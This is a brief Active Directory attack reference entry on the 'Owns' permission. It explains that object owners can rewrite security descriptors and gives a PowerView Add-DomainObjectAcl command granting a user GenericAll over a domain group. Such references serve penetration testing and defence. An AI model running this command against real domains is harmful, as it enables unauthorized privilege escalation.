Owns

Information

Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL.

Exploitation

# Assigning GenericAll permissions over the group
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'Core Staff' -PrincipalIdentity jdgodd -Rights All

For exploitation information check WriteDACL.